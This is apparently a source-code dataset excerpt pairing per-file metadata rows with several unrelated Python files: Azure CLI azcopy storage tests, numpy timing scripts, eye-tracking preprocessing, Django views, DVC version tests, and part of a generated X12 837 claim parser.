| 15.695444 | 46 | 0.766692 | 972 | 6,545 | 4.736626 | 0.151235 | 0.209818 | 0.389661 | 0.479583 | 0.803432 | 0.803432 | 0 | 0 | 0 | 0 | 0 | 0 | 0.169748 | 6,545 | 416 | 47 | 15.733173 | 0.847258 | 0 | 0 | 0.498195 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.498195 | 0.00361 | 0 | 0.501805 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 1 | 0 | 0 | 8 |
46a31bb804fe884424d13301867c472f090e4cb6 | 10,233 | py | Python | src/azure-cli/azure/cli/command_modules/storage/tests/latest/test_storage_azcopy_scenarios.py | kitingChris/azure-cli | ed0db1ca79f92a8ca686d2c8da501f37c240df9e | [
"MIT"
] | 1 | 2019-07-27T11:23:36.000Z | 2019-07-27T11:23:36.000Z | src/azure-cli/azure/cli/command_modules/storage/tests/latest/test_storage_azcopy_scenarios.py | kitingChris/azure-cli | ed0db1ca79f92a8ca686d2c8da501f37c240df9e | [
"MIT"
] | null | null | null | src/azure-cli/azure/cli/command_modules/storage/tests/latest/test_storage_azcopy_scenarios.py | kitingChris/azure-cli | ed0db1ca79f92a8ca686d2c8da501f37c240df9e | [
"MIT"
] | null | null | null | # --------------------------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for license information.
# --------------------------------------------------------------------------------------------
import os
import shutil
from azure.cli.testsdk import (StorageAccountPreparer, LiveScenarioTest, JMESPathCheck, ResourceGroupPreparer,
api_version_constraint)
from ..storage_test_util import StorageScenarioMixin, StorageTestFilesPreparer
class StorageAzcopyTests(StorageScenarioMixin, LiveScenarioTest):
@ResourceGroupPreparer()
@StorageAccountPreparer()
@StorageTestFilesPreparer()
def test_storage_blob_azcopy_sync(self, resource_group, storage_account_info, test_dir):
storage_account, _ = storage_account_info
container = self.create_container(storage_account_info)
# sync directory
self.cmd('storage blob sync -s "{}" -c {} --account-name {}'.format(
test_dir, container, storage_account))
self.cmd('storage blob list -c {} --account-name {}'.format(
container, storage_account), checks=JMESPathCheck('length(@)', 41))
self.cmd('storage blob delete-batch -s {} --account-name {}'.format(
container, storage_account))
self.cmd('storage blob list -c {} --account-name {}'.format(
container, storage_account), checks=JMESPathCheck('length(@)', 0))
# resync container
self.cmd('storage blob sync -s "{}" -c {} --account-name {}'.format(
test_dir, container, storage_account))
self.cmd('storage blob list -c {} --account-name {}'.format(
container, storage_account), checks=JMESPathCheck('length(@)', 41))
# update file
with open(os.path.join(test_dir, 'readme'), 'w') as f:
f.write('updated.')
# sync one blob
self.cmd('storage blob list -c {} --account-name {} --prefix readme'.format(
container, storage_account), checks=JMESPathCheck('[0].properties.contentLength', 87))
self.cmd('storage blob sync -s "{}" -c {} --account-name {} -d readme'.format(
os.path.join(test_dir, 'readme'), container, storage_account))
self.cmd('storage blob list -c {} --account-name {} --prefix readme'.format(
container, storage_account), checks=JMESPathCheck('[0].properties.contentLength', 8))
# delete one file and sync
os.remove(os.path.join(test_dir, 'readme'))
self.cmd('storage blob sync -s "{}" -c {} --account-name {}'.format(
test_dir, container, storage_account))
self.cmd('storage blob list -c {} --account-name {}'.format(
container, storage_account), checks=JMESPathCheck('length(@)', 40))
# delete one folder and sync
shutil.rmtree(os.path.join(test_dir, 'apple'))
self.cmd('storage blob sync -s "{}" -c {} --account-name {}'.format(
test_dir, container, storage_account))
self.cmd('storage blob list -c {} --account-name {}'.format(
container, storage_account), checks=JMESPathCheck('length(@)', 30))
# syn with another folder
self.cmd('storage blob sync -s "{}" -c {} --account-name {}'.format(
os.path.join(test_dir, 'butter'), container, storage_account))
self.cmd('storage blob list -c {} --account-name {}'.format(
container, storage_account), checks=JMESPathCheck('length(@)', 20))
# empty the folder and sync
shutil.rmtree(os.path.join(test_dir, 'butter'))
shutil.rmtree(os.path.join(test_dir, 'duff'))
self.cmd('storage blob sync -s "{}" -c {} --account-name {}'.format(
test_dir, container, storage_account))
self.cmd('storage blob list -c {} --account-name {}'.format(
container, storage_account), checks=JMESPathCheck('length(@)', 0))
@ResourceGroupPreparer()
@StorageAccountPreparer()
@StorageTestFilesPreparer()
def test_storage_blob_azcopy_remove(self, resource_group, storage_account_info, test_dir):
storage_account, _ = storage_account_info
container = self.create_container(storage_account_info)
# sync directory
self.cmd('storage blob sync -s "{}" -c {} --account-name {}'.format(
test_dir, container, storage_account))
self.cmd('storage blob list -c {} --account-name {}'.format(
container, storage_account), checks=JMESPathCheck('length(@)', 41))
self.cmd('storage remove -c {} -n readme --account-name {}'.format(
container, storage_account))
self.cmd('storage blob list -c {} --account-name {}'.format(
container, storage_account), checks=JMESPathCheck('length(@)', 40))
self.cmd('storage remove -c {} -n apple --account-name {}'.format(
container, storage_account))
self.cmd('storage blob list -c {} --account-name {}'.format(
container, storage_account), checks=JMESPathCheck('length(@)', 30))
self.cmd('storage remove -c {} -n butter --account-name {}'.format(
container, storage_account))
self.cmd('storage blob list -c {} --account-name {}'.format(
container, storage_account), checks=JMESPathCheck('length(@)', 20))
self.cmd('storage remove -c {} -n butter --account-name {} --recursive'.format(
container, storage_account))
self.cmd('storage blob list -c {} --account-name {}'.format(
container, storage_account), checks=JMESPathCheck('length(@)', 10))
self.cmd('storage remove -c {} -n duff --account-name {}'.format(
container, storage_account))
self.cmd('storage blob list -c {} --account-name {}'.format(
container, storage_account), checks=JMESPathCheck('length(@)', 10))
# sync directory
self.cmd('storage blob sync -s "{}" -c {} --account-name {}'.format(
test_dir, container, storage_account))
self.cmd('storage blob list -c {} --account-name {}'.format(
container, storage_account), checks=JMESPathCheck('length(@)', 41))
self.cmd('storage remove -c {} -n butter --account-name {} --recursive --exclude "file_*"'.format(
container, storage_account))
self.cmd('storage blob list -c {} --account-name {}'.format(
container, storage_account), checks=JMESPathCheck('length(@)', 41))
self.cmd('storage remove -c {} -n butter --account-name {} --exclude "file_1"'.format(
container, storage_account))
self.cmd('storage blob list -c {} --account-name {}'.format(
container, storage_account), checks=JMESPathCheck('length(@)', 32))
self.cmd('storage remove -c {} -n butter --account-name {} --recursive --exclude "file_1"'.format(
container, storage_account))
self.cmd('storage blob list -c {} --account-name {}'.format(
container, storage_account), checks=JMESPathCheck('length(@)', 23))
# sync directory
self.cmd('storage blob sync -s "{}" -c {} --account-name {}'.format(
test_dir, container, storage_account))
self.cmd('storage blob list -c {} --account-name {}'.format(
container, storage_account), checks=JMESPathCheck('length(@)', 41))
self.cmd('storage remove -c {} -n butter --account-name {} --recursive --include "file_1"'.format(
container, storage_account))
self.cmd('storage blob list -c {} --account-name {}'.format(
container, storage_account), checks=JMESPathCheck('length(@)', 39))
self.cmd('storage remove -c {} -n butter --account-name {} --include "file_*"'.format(
container, storage_account))
self.cmd('storage blob list -c {} --account-name {}'.format(
container, storage_account), checks=JMESPathCheck('length(@)', 30))
self.cmd('storage remove -c {} -n butter --account-name {} --recursive --include "file_*"'.format(
container, storage_account))
self.cmd('storage blob list -c {} --account-name {}'.format(
container, storage_account), checks=JMESPathCheck('length(@)', 21))
@ResourceGroupPreparer()
@StorageAccountPreparer()
def test_storage_file_azcopy_remove(self, resource_group, storage_account):
account_info = self.get_account_info(resource_group, storage_account)
s1 = self.create_share(account_info)
s2 = self.create_share(account_info)
d1 = 'dir1'
d2 = 'dir2'
self.storage_cmd('storage directory create --share-name {} -n {}', account_info, s1, d1)
self.storage_cmd('storage directory create --share-name {} -n {}', account_info, s2, d2)
local_file = self.create_temp_file(512, full_random=False)
src1_file = os.path.join(d1, 'source_file1.txt')
src2_file = os.path.join(d2, 'source_file2.txt')
self.storage_cmd('storage file upload -p "{}" --share-name {} --source "{}"', account_info,
src1_file, s1, local_file)
self.storage_cmd('storage file exists -p "{}" -s {}', account_info, src1_file, s1) \
.assert_with_checks(JMESPathCheck('exists', True))
self.storage_cmd('storage remove --share-name {} -p "{}"',
account_info, s1, src1_file)
self.storage_cmd('storage file exists -p "{}" -s {}', account_info, src1_file, s1) \
.assert_with_checks(JMESPathCheck('exists', False))
self.storage_cmd('storage file upload -p "{}" --share-name {} --source "{}"', account_info,
src2_file, s2, local_file)
self.storage_cmd('storage file exists -p "{}" -s {}', account_info, src2_file, s2) \
.assert_with_checks(JMESPathCheck('exists', True))
self.storage_cmd('storage remove --share-name {} -p "{}"',
account_info, s2, d2)
self.storage_cmd('storage file exists -p "{}" -s {}', account_info, src2_file, s2) \
.assert_with_checks(JMESPathCheck('exists', False))
| 53.296875 | 110 | 0.609596 | 1,127 | 10,233 | 5.393079 | 0.116238 | 0.126686 | 0.177855 | 0.166996 | 0.861797 | 0.849951 | 0.823955 | 0.811122 | 0.781178 | 0.769003 | 0 | 0.010431 | 0.222418 | 10,233 | 191 | 111 | 53.575916 | 0.753425 | 0.052868 | 0 | 0.65035 | 0 | 0 | 0.309425 | 0.005788 | 0 | 0 | 0 | 0 | 0.027972 | 1 | 0.020979 | false | 0 | 0.027972 | 0 | 0.055944 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
d3c9e0d4ce33dd4a138e4d57f14a8ffbeab8c45b | 2,006 | py | Python | dev/optimize/measure_np_create_arr.py | StefanHeng/test_ECG-Signal-Viewer | 4fc1849aa5d8ff9bf18d3662bc405d7f20663b64 | [
"MIT"
] | null | null | null | dev/optimize/measure_np_create_arr.py | StefanHeng/test_ECG-Signal-Viewer | 4fc1849aa5d8ff9bf18d3662bc405d7f20663b64 | [
"MIT"
] | null | null | null | dev/optimize/measure_np_create_arr.py | StefanHeng/test_ECG-Signal-Viewer | 4fc1849aa5d8ff9bf18d3662bc405d7f20663b64 | [
"MIT"
] | null | null | null | import numpy as np
import timeit
from optimize import optimize_time_conversion
def measure_np_arange(sz, num=3):
return min(timeit.Timer(f'arr = np.arange({sz})', setup=f'import numpy as np').repeat(10, num))
def measure_np_arange_f(sz, num=3):
return min(timeit.Timer(f'arr = np.arange({sz}) / 2', setup=f'import numpy as np').repeat(10, num))
def measure_np_arange_us(sz, num=3):
return min(timeit.Timer(f'arr = np.arange({sz}) * 500', setup=f'import numpy as np').repeat(10, num))
def measure_np_arange_us_f(sz, num=3):
return min(timeit.Timer(f'arr = np.arange({sz}) * 500.0', setup=f'import numpy as np').repeat(10, num))
def measure_np_linspace(sz, num=3):
return min(timeit.Timer(f'arr = np.linspace(0, {sz-1}, {sz})', setup=f'import numpy as np').repeat(10, num))
def measure_np_linspace_f(sz, num=3):
return min(timeit.Timer(f'arr = np.linspace(0, {sz-1}, {sz}) / 2', setup=f'import numpy as np').repeat(10, num))
def measure_np_change_type(sz, num=3):
return min(timeit.Timer(f'arr = np.linspace(0, {sz-1}, {sz}) * 500.0', setup=f'import numpy as np').repeat(10, num))
def measure_np_mult_v1(sz, num=3):
return min(timeit.Timer(f'arr = (np.arange({sz}) * 10 ** 6 / 2000).astype(np.int64)', setup=f'import numpy as np').repeat(10, num))
def measure_np_mult_v2(sz, num=3):
return min(timeit.Timer(f'arr = (np.arange({sz}) * 500.0).astype(np.int64)', setup=f'import numpy as np').repeat(10, num))
if __name__ == "__main__":
size = optimize_time_conversion.size
num_per_timeit = 10
# print(measure_np_arange(size, num_per_timeit))
# print(measure_np_arange_f(size, num_per_timeit))
# print(measure_np_arange_us(size, num_per_timeit))
# print(measure_np_arange_us_f(size, num_per_timeit))
# print(measure_np_linspace(size, num_per_timeit))
# print(measure_np_linspace_f(size, num_per_timeit))
print()
print(measure_np_mult_v1(size, num_per_timeit))
print(measure_np_mult_v2(size, num_per_timeit))
| 34.586207 | 135 | 0.696411 | 356 | 2,006 | 3.702247 | 0.123596 | 0.116085 | 0.098634 | 0.113809 | 0.831563 | 0.831563 | 0.814871 | 0.792109 | 0.705615 | 0.647951 | 0 | 0.038796 | 0.139083 | 2,006 | 57 | 136 | 35.192982 | 0.724378 | 0.148056 | 0 | 0 | 0 | 0.037037 | 0.288824 | 0.026471 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0.444444 | 0.333333 | 1.111111 | 0.111111 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 10 |
31006e374b40cc105d0c73c45dce1942093b3d11 | 2,292 | py | Python | sonaion_analysis/eyetracking/preprocessing_invalid.py | Sonaion/py-sonaion-analysis | f4bcf2ff1ad88563e6b8ef5d5d0ab9a23e69ac92 | [
"BSD-3-Clause"
] | 1 | 2021-10-15T06:58:56.000Z | 2021-10-15T06:58:56.000Z | sonaion_analysis/eyetracking/preprocessing_invalid.py | Sonaion/py-sonaion-analysis | f4bcf2ff1ad88563e6b8ef5d5d0ab9a23e69ac92 | [
"BSD-3-Clause"
] | null | null | null | sonaion_analysis/eyetracking/preprocessing_invalid.py | Sonaion/py-sonaion-analysis | f4bcf2ff1ad88563e6b8ef5d5d0ab9a23e69ac92 | [
"BSD-3-Clause"
] | null | null | null | def remove_invalid(eye_x, eye_y, pupil_diameter, eye_valid):
"""
A Function to remove invalid eye data, careful there is no machanism to synchronise left and right eye afterwards
:param eye_x: an indexable datastructure with the x eye coordinates
:param eye_y: an indexable datastructure with the y eye coordinates
:param pupil_diameter: an indexable datastructure with the pupil diameter
:param eye_valid: an indexable datastructure indicating if the eye is valid (1 if yes)
:return a tuple (eye_x, eye_y, pupil_diameter, eye_valid)
"""
x = []
y = []
pupil = []
valid = []
for idx, value in enumerate(eye_valid):
if value == 1:
x.append(eye_x[idx])
y.append(eye_y[idx])
pupil.append(pupil_diameter[idx])
valid.append(1)
return x, y, pupil, valid
def replace_with_prev_invalid(eye_x, eye_y, pupil_diameter, eye_valid):
"""
A Function to remove invalid eye data, careful there is no machanism to synchronise left and right eye afterwards
:param eye_x: an indexable datastructure with the x eye coordinates
:param eye_y: an indexable datastructure with the y eye coordinates
:param pupil_diameter: an indexable datastructure with the pupil diameter
:param eye_valid: an indexable datastructure indicating if the eye is valid (1 if yes)
:return a tuple (eye_x, eye_y, pupil_diameter, eye_valid)
"""
prev_x = None
prev_y = None
prev_pupil = None
for idx, value in enumerate(eye_valid):
if value == 1:
prev_x = eye_x[idx]
prev_y = eye_y[idx]
prev_pupil = pupil_diameter[idx]
break
x = []
y = []
pupil = []
valid = []
for idx, value in enumerate(eye_valid):
if value == 1:
x.append(eye_x[idx])
y.append(eye_y[idx])
pupil.append(pupil_diameter[idx])
prev_x = eye_x[idx]
prev_y = eye_y[idx]
prev_pupil = pupil_diameter[idx]
else:
x.append(prev_x)
y.append(prev_y)
pupil.append(prev_pupil)
valid.append(1)
return x, y, pupil, valid
| 33.705882 | 117 | 0.608202 | 315 | 2,292 | 4.250794 | 0.149206 | 0.116505 | 0.143391 | 0.125467 | 0.917102 | 0.917102 | 0.917102 | 0.917102 | 0.872293 | 0.872293 | 0 | 0.004459 | 0.315009 | 2,292 | 67 | 118 | 34.208955 | 0.848408 | 0.447208 | 0 | 0.75 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.05 | false | 0 | 0 | 0 | 0.1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
310953ae3e1f43870d07f4c3575d54ce975a32a9 | 212 | py | Python | mysite/views.py | UrbanSwati/recipe24 | 8f69b4ef9b69c5e2f6741677820bf005be53e1c8 | [
"MIT"
] | null | null | null | mysite/views.py | UrbanSwati/recipe24 | 8f69b4ef9b69c5e2f6741677820bf005be53e1c8 | [
"MIT"
] | null | null | null | mysite/views.py | UrbanSwati/recipe24 | 8f69b4ef9b69c5e2f6741677820bf005be53e1c8 | [
"MIT"
] | null | null | null | from django.http import HttpResponse
from django.shortcuts import render
def homepage(request):
return render(request, 'homepage.html')
def aboutpage(request):
return render(request, 'aboutpage.html')
| 21.2 | 44 | 0.768868 | 26 | 212 | 6.269231 | 0.5 | 0.122699 | 0.233129 | 0.319018 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.136792 | 212 | 9 | 45 | 23.555556 | 0.89071 | 0 | 0 | 0 | 0 | 0 | 0.127962 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.333333 | false | 0 | 0.333333 | 0.333333 | 1 | 0 | 1 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 8 |
31cc086b3ca9eb30e1a80d070401464f99d2a5c4 | 119 | py | Python | parchments/core/__init__.py | idlelosthobo/parchment | 99cebb8bed439c04be3e7e4f6869a4e3f85f6047 | [
"MIT"
] | null | null | null | parchments/core/__init__.py | idlelosthobo/parchment | 99cebb8bed439c04be3e7e4f6869a4e3f85f6047 | [
"MIT"
] | 4 | 2021-02-16T15:35:39.000Z | 2021-04-09T19:19:35.000Z | parchments/core/__init__.py | idlelosthobo/parchments | 99cebb8bed439c04be3e7e4f6869a4e3f85f6047 | [
"MIT"
] | null | null | null | from parchments.core.row import Row
from parchments.core.block import Block
from parchments.core.core import period_key | 39.666667 | 43 | 0.857143 | 19 | 119 | 5.315789 | 0.421053 | 0.415842 | 0.534653 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.092437 | 119 | 3 | 43 | 39.666667 | 0.935185 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
31d0d7e6648c93272f9738cd9b0afb9f4408d537 | 1,713 | py | Python | tests/func/test_version.py | kaiogu/dvc | ffa8fe5888dbbb3d37b3874562f99fd77d4bbcb7 | [
"Apache-2.0"
] | 3 | 2020-01-31T05:33:14.000Z | 2021-05-20T08:19:25.000Z | tests/func/test_version.py | kaiogu/dvc | ffa8fe5888dbbb3d37b3874562f99fd77d4bbcb7 | [
"Apache-2.0"
] | null | null | null | tests/func/test_version.py | kaiogu/dvc | ffa8fe5888dbbb3d37b3874562f99fd77d4bbcb7 | [
"Apache-2.0"
] | null | null | null | import os
import re
import pytest
from dvc.command.version import psutil
from dvc.main import main
def test_info_in_repo(tmp_dir, dvc, caplog):
# Create `.dvc/cache`, that is needed to check supported link types.
os.mkdir(dvc.cache.local.cache_dir)
assert main(["version"]) == 0
assert re.search(r"DVC version: \d+\.\d+\.\d+", caplog.text)
assert re.search(r"Python version: \d\.\d\.\d", caplog.text)
assert re.search(r"Platform: .*", caplog.text)
assert re.search(r"Binary: (True|False)", caplog.text)
assert re.search(r"Package: .*", caplog.text)
assert re.search(
r"(Cache: (.*link - (not )?supported(,\s)?){3})", caplog.text
)
@pytest.mark.skipif(psutil is None, reason="No psutil.")
def test_fs_info_in_repo(tmp_dir, dvc, caplog):
os.mkdir(dvc.cache.local.cache_dir)
assert main(["version"]) == 0
assert "Filesystem type (cache directory): " in caplog.text
assert "Filesystem type (workspace): " in caplog.text
def test_info_outside_of_repo(tmp_dir, caplog):
assert main(["version"]) == 0
assert re.search(r"DVC version: \d+\.\d+\.\d+", caplog.text)
assert re.search(r"Python version: \d\.\d\.\d", caplog.text)
assert re.search(r"Platform: .*", caplog.text)
assert re.search(r"Binary: (True|False)", caplog.text)
assert re.search(r"Package: .*", caplog.text)
assert not re.search(r"(Cache: (.*link - (not )?(,\s)?){3})", caplog.text)
@pytest.mark.skipif(psutil is None, reason="No psutil.")
def test_fs_info_outside_of_repo(tmp_dir, caplog):
assert main(["version"]) == 0
assert "Filesystem type (cache directory): " not in caplog.text
assert "Filesystem type (workspace): " in caplog.text
| 33.588235 | 78 | 0.666667 | 259 | 1,713 | 4.324324 | 0.220077 | 0.142857 | 0.096429 | 0.147321 | 0.855357 | 0.855357 | 0.817857 | 0.776786 | 0.776786 | 0.726786 | 0 | 0.004178 | 0.161705 | 1,713 | 50 | 79 | 34.26 | 0.775766 | 0.038529 | 0 | 0.571429 | 0 | 0 | 0.271733 | 0.013374 | 0 | 0 | 0 | 0 | 0.571429 | 1 | 0.114286 | false | 0 | 0.142857 | 0 | 0.257143 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
31d88c9885f0da56a1fe32565e2d86624381320a | 950,807 | py | Python | tigershark/parsers/M837_5010_X222_A1.py | CloudCray/TigerShark | e27f1e775652576743518d9f2dfd57266f0c541f | [
"BSD-3-Clause"
] | 19 | 2016-05-09T01:30:37.000Z | 2022-03-15T15:51:24.000Z | tigershark/parsers/M837_5010_X222_A1.py | CloudCray/TigerShark | e27f1e775652576743518d9f2dfd57266f0c541f | [
"BSD-3-Clause"
] | 10 | 2016-04-11T14:55:54.000Z | 2021-08-07T15:41:14.000Z | tigershark/parsers/M837_5010_X222_A1.py | CloudCray/TigerShark | e27f1e775652576743518d9f2dfd57266f0c541f | [
"BSD-3-Clause"
] | 11 | 2015-10-15T16:12:39.000Z | 2021-03-22T19:33:56.000Z | #
# Generated by TigerShark.tools.convertPyX12 on 2021-05-10 10:26:14.167130
#
from tigershark.X12.parse import Composite, Element, Loop, Message, Properties, Segment
parsed_837_1000A = Loop(
"1000A",
Properties(
desc="Submitter Name", looptype="", position="0200", repeat="1", req_sit="R"
),
Segment(
"NM1",
Properties(
desc="Submitter Name",
position="0200",
repeat="1",
req_sit="R",
syntax="P0809 C1110",
),
Element(
"NM101",
Properties(
desc="Entity Identifier Code",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["41"],
),
),
Element(
"NM102",
Properties(
desc="Entity Type Qualifier",
req_sit="R",
data_type=("ID", "1", "1"),
position=2,
codes=["1", "2"],
),
),
Element(
"NM103",
Properties(
desc="Name Last or Organization Name",
req_sit="R",
data_type=("AN", "1", "60"),
position=3,
codes=[],
),
),
Element(
"NM104",
Properties(
desc="Name First",
req_sit="S",
data_type=("AN", "1", "35"),
position=4,
codes=[],
),
),
Element(
"NM105",
Properties(
desc="Name Middle",
req_sit="S",
data_type=("AN", "1", "25"),
position=5,
codes=[],
),
),
Element(
"NM106",
Properties(
desc="Name Prefix",
req_sit="N",
data_type=("AN", "1", "10"),
position=6,
codes=[],
),
),
Element(
"NM107",
Properties(
desc="Name Suffix",
req_sit="N",
data_type=("AN", "1", "10"),
position=7,
codes=[],
),
),
Element(
"NM108",
Properties(
desc="Identification Code Qualifier",
req_sit="R",
data_type=("ID", "1", "2"),
position=8,
codes=["46"],
),
),
Element(
"NM109",
Properties(
desc="Identification Code",
req_sit="R",
data_type=("AN", "2", "80"),
position=9,
codes=[],
),
),
Element(
"NM110",
Properties(
desc="Entity Relationship Code",
req_sit="N",
data_type=("ID", "2", "2"),
position=10,
codes=[],
),
),
Element(
"NM111",
Properties(
desc="Entity Identifier Code",
req_sit="N",
data_type=("ID", "2", "3"),
position=11,
codes=[],
),
),
Element(
"NM112",
Properties(
desc="Name Last or Organization Name",
req_sit="N",
data_type=("AN", "1", "60"),
position=12,
codes=[],
),
),
),
Segment(
"PER",
Properties(
desc="Submitter EDI Contact Information",
position="0450",
repeat="2",
req_sit="R",
syntax="P0304 P0506 P0708",
),
Element(
"PER01",
Properties(
desc="Contact Function Code",
req_sit="R",
data_type=("ID", "2", "2"),
position=1,
codes=["IC"],
),
),
Element(
"PER02",
Properties(
desc="Name",
req_sit="S",
data_type=("AN", "1", "60"),
position=2,
codes=[],
),
),
Element(
"PER03",
Properties(
desc="Communication Number Qualifier",
req_sit="R",
data_type=("ID", "2", "2"),
position=3,
codes=["ED", "EM", "FX", "TE"],
),
),
Element(
"PER04",
Properties(
desc="Communication Number",
req_sit="R",
data_type=("AN", "1", "256"),
position=4,
codes=[],
),
),
Element(
"PER05",
Properties(
desc="Communication Number Qualifier",
req_sit="S",
data_type=("ID", "2", "2"),
position=5,
codes=["ED", "EM", "EX", "FX", "TE"],
),
),
Element(
"PER06",
Properties(
desc="Communication Number",
req_sit="S",
data_type=("AN", "1", "256"),
position=6,
codes=[],
),
),
Element(
"PER07",
Properties(
desc="Communication Number Qualifier",
req_sit="S",
data_type=("ID", "2", "2"),
position=7,
codes=["ED", "EM", "EX", "FX", "TE"],
),
),
Element(
"PER08",
Properties(
desc="Communication Number",
req_sit="S",
data_type=("AN", "1", "256"),
position=8,
codes=[],
),
),
Element(
"PER09",
Properties(
desc="Contact Inquiry Reference",
req_sit="N",
data_type=("AN", "1", "20"),
position=9,
codes=[],
),
),
),
)
parsed_837_1000B = Loop(
"1000B",
Properties(
desc="Receiver Name", looptype="", position="0200", repeat="1", req_sit="R"
),
Segment(
"NM1",
Properties(
desc="Receiver Name",
position="0200",
repeat="1",
req_sit="R",
syntax="P0809 C1110",
),
Element(
"NM101",
Properties(
desc="Entity Identifier Code",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["40"],
),
),
Element(
"NM102",
Properties(
desc="Entity Type Qualifier",
req_sit="R",
data_type=("ID", "1", "1"),
position=2,
codes=["2"],
),
),
Element(
"NM103",
Properties(
desc="Name Last or Organization Name",
req_sit="R",
data_type=("AN", "1", "60"),
position=3,
codes=[],
),
),
Element(
"NM104",
Properties(
desc="Name First",
req_sit="N",
data_type=("AN", "1", "35"),
position=4,
codes=[],
),
),
Element(
"NM105",
Properties(
desc="Name Middle",
req_sit="N",
data_type=("AN", "1", "25"),
position=5,
codes=[],
),
),
Element(
"NM106",
Properties(
desc="Name Prefix",
req_sit="N",
data_type=("AN", "1", "10"),
position=6,
codes=[],
),
),
Element(
"NM107",
Properties(
desc="Name Suffix",
req_sit="N",
data_type=("AN", "1", "10"),
position=7,
codes=[],
),
),
Element(
"NM108",
Properties(
desc="Identification Code Qualifier",
req_sit="R",
data_type=("ID", "1", "2"),
position=8,
codes=["46"],
),
),
Element(
"NM109",
Properties(
desc="Identification Code",
req_sit="R",
data_type=("AN", "2", "80"),
position=9,
codes=[],
),
),
Element(
"NM110",
Properties(
desc="Entity Relationship Code",
req_sit="N",
data_type=("ID", "2", "2"),
position=10,
codes=[],
),
),
Element(
"NM111",
Properties(
desc="Entity Identifier Code",
req_sit="N",
data_type=("ID", "2", "3"),
position=11,
codes=[],
),
),
Element(
"NM112",
Properties(
desc="Name Last or Organization Name",
req_sit="N",
data_type=("AN", "1", "60"),
position=12,
codes=[],
),
),
),
)
parsed_837_HEADER = Loop(
"HEADER",
Properties(
desc="Table 1 - Header",
looptype="wrapper",
position="0100",
repeat="1",
req_sit="R",
),
Segment(
"BHT",
Properties(
desc="Beginning of Hierarchical Transaction",
position="0100",
repeat="1",
req_sit="R",
syntax="",
),
Element(
"BHT01",
Properties(
desc="Hierarchical Structure Code",
req_sit="R",
data_type=("ID", "4", "4"),
position=1,
codes=["0019"],
),
),
Element(
"BHT02",
Properties(
desc="Transaction Set Purpose Code",
req_sit="R",
data_type=("ID", "2", "2"),
position=2,
codes=["00", "18"],
),
),
Element(
"BHT03",
Properties(
desc="Reference Identification",
req_sit="R",
data_type=("AN", "1", "50"),
position=3,
codes=[],
),
),
Element(
"BHT04",
Properties(
desc="Date",
req_sit="R",
data_type=("DT", "8", "8"),
position=4,
codes=[],
),
),
Element(
"BHT05",
Properties(
desc="Time",
req_sit="R",
data_type=("TM", "4", "8"),
position=5,
codes=[],
),
),
Element(
"BHT06",
Properties(
desc="Transaction Type Code",
req_sit="R",
data_type=("ID", "2", "2"),
position=6,
codes=["CH", "RP"],
),
),
),
parsed_837_1000A,
parsed_837_1000B,
)
parsed_837_2010AA = Loop(
"2010AA",
Properties(
desc="Billing Provider Name",
looptype="",
position="0150",
repeat="1",
req_sit="R",
),
Segment(
"NM1",
Properties(
desc="Billing Provider Name",
position="0150",
repeat="1",
req_sit="R",
syntax="P0809 C1110 C1203",
),
Element(
"NM101",
Properties(
desc="Entity Identifier Code",
req_sit="R",
data_type=("ID", "2", "3"),
position=1,
codes=["85"],
),
),
Element(
"NM102",
Properties(
desc="Entity Type Qualifier",
req_sit="R",
data_type=("ID", "1", "1"),
position=2,
codes=["1", "2"],
),
),
Element(
"NM103",
Properties(
desc="Name Last or Organization Name",
req_sit="R",
data_type=("AN", "1", "60"),
position=3,
codes=[],
),
